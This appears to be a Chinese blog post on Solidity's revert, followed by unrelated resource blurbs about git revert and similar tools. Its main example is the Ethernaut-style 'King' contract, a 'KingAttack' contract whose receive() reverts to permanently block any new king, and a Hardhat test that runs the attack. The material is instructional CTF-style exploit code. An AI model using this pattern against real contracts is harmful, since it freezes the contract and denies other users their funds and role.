`

revert

 
阅读更多
1.和require类似,在一些复杂代码时可以结合error使用
// SPDX-License-Identifier: MIT
pragma solidity >= 0.6.0;
import "hardhat/console.sol";

contract Revert {
    error TooEarly(uint time);
    error TooLate(uint time);

    function test(uint t)external{
        if(t<100){
            revert TooEarly(t);
        }
        if(t>1000){
            revert TooLate(t);
        }
    }
}


2.通过revert阻止程序继续执行
// SPDX-License-Identifier: MIT
pragma solidity >= 0.6.0;
import "hardhat/console.sol";

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = payable(msg.sender);  
    king = payable(msg.sender);
    prize = msg.value;
  }

  receive() external payable {
    console.log("0.1");
    require(msg.value >= prize || msg.sender == owner);
    console.log("0.2");
    king.transfer(msg.value);
    console.log("0.3");
    king = payable(msg.sender);
    console.log("0.4");
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}



pragma solidity >= 0.6.0;
import "hardhat/console.sol";

contract KingAttack{
    address public owner;
    constructor()public{
        owner = msg.sender;
    }

    function attack(address payable addr)public{
        console.log("1.0:",addr);
        (bool success, ) = addr.call{gas:1000000,value:1 ether}("");
        console.logBool(success);
    }

    receive() external payable{
        if(msg.sender!=owner){
            revert();
        }
        
    }
}


const { expect } = require("chai");
const { ethers } = require("hardhat");
const Tx = require("ethereumjs-tx");

contractName = "King";
attackContractName = "KingAttack";

describe(contractName, function () {
  it("test ", async function () {
    const Contract = await ethers.getContractFactory(contractName);
    const contract = await Contract.deploy();
    console.log("king:",await contract._king());
    console.log("prize:",await contract.prize());

    const ContractAttack = await ethers.getContractFactory(attackContractName);
    const contractAttack = await ContractAttack.deploy();
    [user1, user2] = await ethers.getSigners();
    const tx = await user1.sendTransaction({
        to: contractAttack.address,
        value: ethers.utils.parseEther("1.0"),
        });
    const balance = await ethers.provider.getBalance(contractAttack.address);
    console.log("attack balance:",balance)
    await contractAttack.attack(contract.address);

    const tx2 = await user2.sendTransaction({
        to: contract.address,
        value: ethers.utils.parseEther("2.0"),
        });
    console.log("new king:",await contract._king());
    console.log("new prize:",await contract.prize());

  });
});
分享到:
评论

相关推荐

    关于 “VM resize revert 失败” 问题的分析

    然而,有时候在尝试“VM resize revert”时可能会遇到失败的问题,这通常与内存、磁盘或网络资源的调整有关。本文将深入探讨这个问题,分析可能的原因,并提供解决策略。 首先,我们需要理解“VM resize revert”的...

    前端大厂最新面试题-git reset_ git revert.docx

    Git Reset vs Git Revert Git Reset 和 Git Revert 是两个常用的 Git 命令,用于撤销或回退版本,但它们的用法和实现有所不同。本文将详细介绍 Git Reset 和 Git Revert 的理解、区别和使用场景。 一、Git Reset ...

    NX二次开发UF-ASSEM-revert-explode-comp 函数介绍

    NX二次开发UF_ASSEM_revert_explode_comp 函数介绍,Ufun提供了一系列丰富的 API 函数,可以帮助用户实现自动化、定制化和扩展 NX 软件的功能。无论您是从事机械设计、制造、模具设计、逆向工程、CAE 分析等领域的...

    IDR-revert10.2.rar

    IDR的最新版本,直接解压运行.exe即可,这里面有delphi5的Bin类,增强分析delphi 5code 其他版本的bin我下载后再上传 ,包里面有源码,感兴趣的朋友可以研究,以后会上传各个版本的bin

    vuex-revert:按需还原Vuex突变(WIP)

    安装npm i -- save - dev vuex - revert要求由于此插件利用了装饰器,因此您需要设置Babel以及插件。用法作为Vuex插件,首先需要在定义Vuex存储时在插件函数数组中指定它。 import { vuexRevert } from 'vuex-revert...

    Git恢复之前版本的两种方法reset、revert(图文详解)

    在开发过程中,由于误操作或者需要撤销某些提交,Git 提供了两种恢复之前版本的方法:`git reset` 和 `git revert`。这两种方法各有其适用场景,理解它们的区别和使用方法对于有效地管理代码历史至关重要。 1. **...

    Gerrit使用方法说明.docx

    此时,代码已正式入库,无法再被Abandoned,如果需要撤销,可以使用Revert操作。 4. **Abandoned状态**: 如果代码无法入库,比如因为存在问题或不再需要,可以将其设置为Abandoned。废弃的代码不能直接恢复到...

    Revert:REVEal渲染测试

    REVEal渲染测试-REVERT Revert是一个参考iOS项目,旨在帮助测试的性能和准确性, 是的运行时视图层次结构检查工具。 它包含许多示例,突出显示了常见情况和极端情况。 还原是通用的iOS 7+应用程序,同时支持纵向和...

    git revert和git reset的区别详解

    ### Git Revert与Git Reset详解 #### 一、引言 在版本控制工具Git中,`git revert`和`git reset`是两个非常重要的命令,它们可以帮助开发人员撤销之前的操作,但二者的实现机制和使用场景有所不同。本文将详细介绍...

    Revert Timer_matlab_

    seven segmaent stats for

    git-reset-revert-tutorial

    在Git版本控制系统中,`git reset` 和 `git revert` 是两个非常重要的命令,它们用于撤销或回滚代码更改。这两个命令在处理错误的合并、回退到特定版本或者修复历史记录时尤其有用。让我们详细了解一下这两个命令...

    Revert_Style.cpp

    一些信息把十六进制的数以字符串的形式存在文本中(str = "1A"),需要提取出来转换成数字使用。

    Revert GitHub Font-crx插件

    标题“Revert GitHub Font-crx插件”指的是一个专门为GitHub用户设计的Chrome浏览器扩展程序,它的主要目的是恢复GitHub在2016年7月12日之前所使用的字体和字号设置。这个插件是为了应对GitHub在那一天进行的一项...

    resetRevert:重置,还原

    在IT行业中,"resetRevert"通常指的是在软件或系统中执行恢复到先前状态的操作。这个概念广泛应用于各种场景,包括文件编辑、版本控制、数据库管理等。在编程和开发过程中,"重置"和"还原"是两个关键的术语,它们在...

    git-revert:自动查找先前的提交并恢复为先前的提交,这用于buildtest失败

    `git-revert`是Git中的一个命令,它允许用户撤销特定的提交,将其更改反向应用到当前工作树和历史记录中。这个命令对于修复错误的提交或者回退到某个稳定状态非常有用。在标题和描述中提到的场景,“buildtest失败”...

    timer-revert:次要模式恢复缓冲区一段时间

    参见 timer-revert-delay,默认为 15 秒。 这很有用,因为 emacs 的自动恢复模式没有告诉频率的工具。 我的用例是在写 latex 文档时,后台运行 make 需要一些时间才能完成,通常是 5 到 10 秒。 与 auto-revert-...

    gulp-revert-path:还原先前的`file.path`更改

    gulp-revert-path 还原先前的file.path更改 许多插件file.path以某种方式更改file.path 。 最常见的是文件扩展名。 例如,因为.jsx gulp-babel编译JSX,所以将.jsx扩展名更改为.js 。 有时候这是不可取的。 该插件...

    Feedly Revert Removed Img Nodes-crx插件

    Feedly Revert Removed Img Nodes-crx插件是一款专为Feedly用户设计的浏览器扩展程序,主要功能是恢复Feedly阅读器中被移除的img节点,即那些微小的图像元素。这款插件针对的是英文用户,对于喜欢使用Feedly订阅和...

    node-revert-cli:允许用户选择要还原的文件的CLI

    &gt; npm install -g revert-cli 跑步 要运行,只需运行 &gt; revert 系统将提示您将要还原到上一次提交的文件。 默认情况下,它们都被选中。 如果您要取消选择它们,只需按[space]。 确定并希望继续时,请按[Enter] ...

Global site tag (gtag.js) - Google Analytics